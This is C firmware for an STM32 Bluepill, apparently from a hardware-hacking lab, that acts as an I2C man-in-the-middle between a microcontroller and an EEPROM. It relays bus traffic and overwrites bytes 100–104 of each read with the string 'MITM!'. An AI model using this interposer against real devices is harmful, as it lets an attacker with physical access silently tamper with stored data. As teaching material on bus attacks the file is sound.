#include <libopencm3/stm32/rcc.h>
#include <libopencm3/stm32/gpio.h>
#include <libopencm3/stm32/usart.h>
#include <libopencm3/stm32/f1/i2c.h>
#include <libLHP_UART.h>
#include <libLHP_I2C.h>
#include <stdint.h>

#define I2C_ADDR 0x50
#define I2C_BUF_SZ 1024
#define I2C_EEPROM_SZ 256

enum mitm_state_enum {
		      WAITING,
		      RECEIVED_I2CADDR,
		      RECEIVED_EEPROM_ADDR,
		      WAITING_SETREAD,
		      READ
};

volatile enum mitm_state_enum mitm_state = WAITING;

void clock_setup(){
rcc_clock_setup_in_hse_8mhz_out_72mhz();
}

void gpio_setup(){
rcc_periph_clock_enable(RCC_GPIOC);
gpio_set_mode(GPIOC, GPIO_MODE_OUTPUT_2_MHZ,GPIO_CNF_OUTPUT_PUSHPULL, GPIO13);
}

uint8_t memaddr[1];
uint8_t buffer[I2C_BUF_SZ];

int main(){
  uint8_t a=0;
  int i;
  clock_setup();
  gpio_setup();
  GPIOC_ODR = 0;
  
  setup_UART1();
  setup_I2C1();

  
  clrscreen_uart(USART1);
  printstr(USART1,"LHP - Bluepill\r\n"__FILE__ "\r\n"  __DATE__ " - " __TIME__ "\r\n");

  for(i=0;i<256;i++){
    buffer[i] = 0;
  }
  
  setup_I2C2();
  i2c_setup_slave(I2C2,I2C_ADDR);
 
  
  GPIOC_ODR &= ~(1<<13); // led on
  
  while(1){
    // not doing anything in here, this is purely interrupt driven
    for ( i = 0; i < 1600000; i++)
      __asm__("nop");
    if( mitm_state == WAITING){
      GPIOC_ODR ^= (1<<13);
    }
  }

}


uint16_t eeprom_addr = 0xaabb;
volatile uint8_t  eeprom_addr_cnt = 0;
volatile uint8_t inited_isr=0;
volatile uint8_t waitfori2c1 = 0;
volatile uint16_t cnt_read=0;
char * mitm = "MITM!";

void i2c2_ev_isr(){
  volatile uint32_t sr1;
  volatile uint32_t sr2;
  uint8_t data;
  if(!inited_isr){
    inited_isr=1;
    GPIOC_ODR &= ~(1<<13);
    // led on, we will use the led to reflect some internal states
    // i will leave it here to help you adapt the cade to your needs later
  }
  GPIOC_ODR ^= (1<<13); GPIOC_ODR ^= (1<<13);
  GPIOC_ODR ^= (1<<13); GPIOC_ODR ^= (1<<13);

  sr1 = I2C_SR1(I2C2);
  switch (mitm_state) {
  case WAITING:
    if( sr1 & I2C_SR1_ADDR){
      // we receive the correct address
      mitm_state = RECEIVED_I2CADDR;
      i2c_enable_interrupt(I2C2,  I2C_CR2_ITEVTEN| I2C_CR2_ITBUFEN);
      sr2=I2C_SR2(I2C2); // clear seq
      data=I2C_DR(I2C2);
      // start calling the eeprom in I2C1
      i2c_reset(I2C1);
      setup_I2C1();
      i2c_send_start(I2C1);
      i2c_enable_ack(I2C1);
      //wait for amster mode in I2C1
      while (!((I2C_SR1(I2C1) & I2C_SR1_SB)
	       & (I2C_SR2(I2C1) & (I2C_SR2_MSL | I2C_SR2_BUSY))));
      // should be short enough
      i2c_send_7bit_address(I2C1, I2C_ADDR, I2C_WRITE);
      waitfori2c1 = 1;
      
    }
    break;
  case RECEIVED_I2CADDR:
    if(sr1 & I2C_SR1_RxNE){

      //check that I2C1 sent the address and clear by reading sr2
      //it should have a lot of time to do so if we are here
      //but let's lag a bit here to ensure we send the address bytes as fast as possible
      while ( ((I2C_SR1(I2C1) & I2C_SR1_ADDR) == 0) && waitfori2c1);

      (void)I2C_SR2(I2C1);
      GPIOC_ODR ^= (1<<13); GPIOC_ODR ^= (1<<13);
      GPIOC_ODR ^= (1<<13);
      waitfori2c1=0;
      
      //we received the a part of the eeprom address

      data = I2C_DR(I2C2);
      eeprom_addr <<= 8;
      eeprom_addr |= data;
	
      eeprom_addr_cnt++;
     
   
      //send the data we just received
     
      I2C_DR(I2C1) = data;
      

      if(eeprom_addr_cnt==2){
	mitm_state = RECEIVED_EEPROM_ADDR;	
      }

    }
    
	  
    break;
  case RECEIVED_EEPROM_ADDR:
    // by now we received the full address
    // send the last byte after the previous is done
    while (!(I2C_SR1(I2C1) & (I2C_SR1_BTF)));
    //    I2C_DR(I2C1) = ((eeprom_addr>>8)&0xff);
    /*     GPIOC_ODR ^= (1<<13); GPIOC_ODR ^= (1<<13);
     GPIOC_ODR ^= (1<<13); GPIOC_ODR ^= (1<<13);
    */
    mitm_state = WAITING_SETREAD;
    // no break
    
  case WAITING_SETREAD:
    sr2=I2C_SR2(I2C2); // clear seq
    if( (sr1 & I2C_SR1_ADDR) && ((sr2 & I2C_SR2_TRA))  ){

      // we receive the correct address to read
        GPIOC_ODR ^= (1<<13); GPIOC_ODR ^= (1<<13);
	// starting from here, our i2c device (i2C1, the mcu side) is stretching the clock
        // since it have nothing to send
	i2c_reset(I2C1);
	setup_I2C1();

	i2c_send_start(I2C1);
	i2c_enable_ack(I2C1);
	// wait master
	while (!((I2C_SR1(I2C1) & I2C_SR1_SB)
		 & (I2C_SR2(I2C1) & (I2C_SR2_MSL | I2C_SR2_BUSY))));
	i2c_send_7bit_address(I2C1, I2C_ADDR, I2C_READ);
	// wait address sent
	while (!(I2C_SR1(I2C1) & I2C_SR1_ADDR));
	// clear seq
	(void)I2C_SR2(I2C1);
	mitm_state = READ;
    }
    
    break;
  case READ:
    if((I2C_SR1(I2C1) & I2C_SR1_RxNE)){
      //we received something on i2c1
      data = I2C_DR(I2C1);
      if(cnt_read == 105)
	cnt_read=0;
      if(cnt_read>=100){
	data= * (mitm+cnt_read-100);
      }
      cnt_read++;
      I2C_DR(I2C2)=data;
    }
    
    
    break;
  }

}


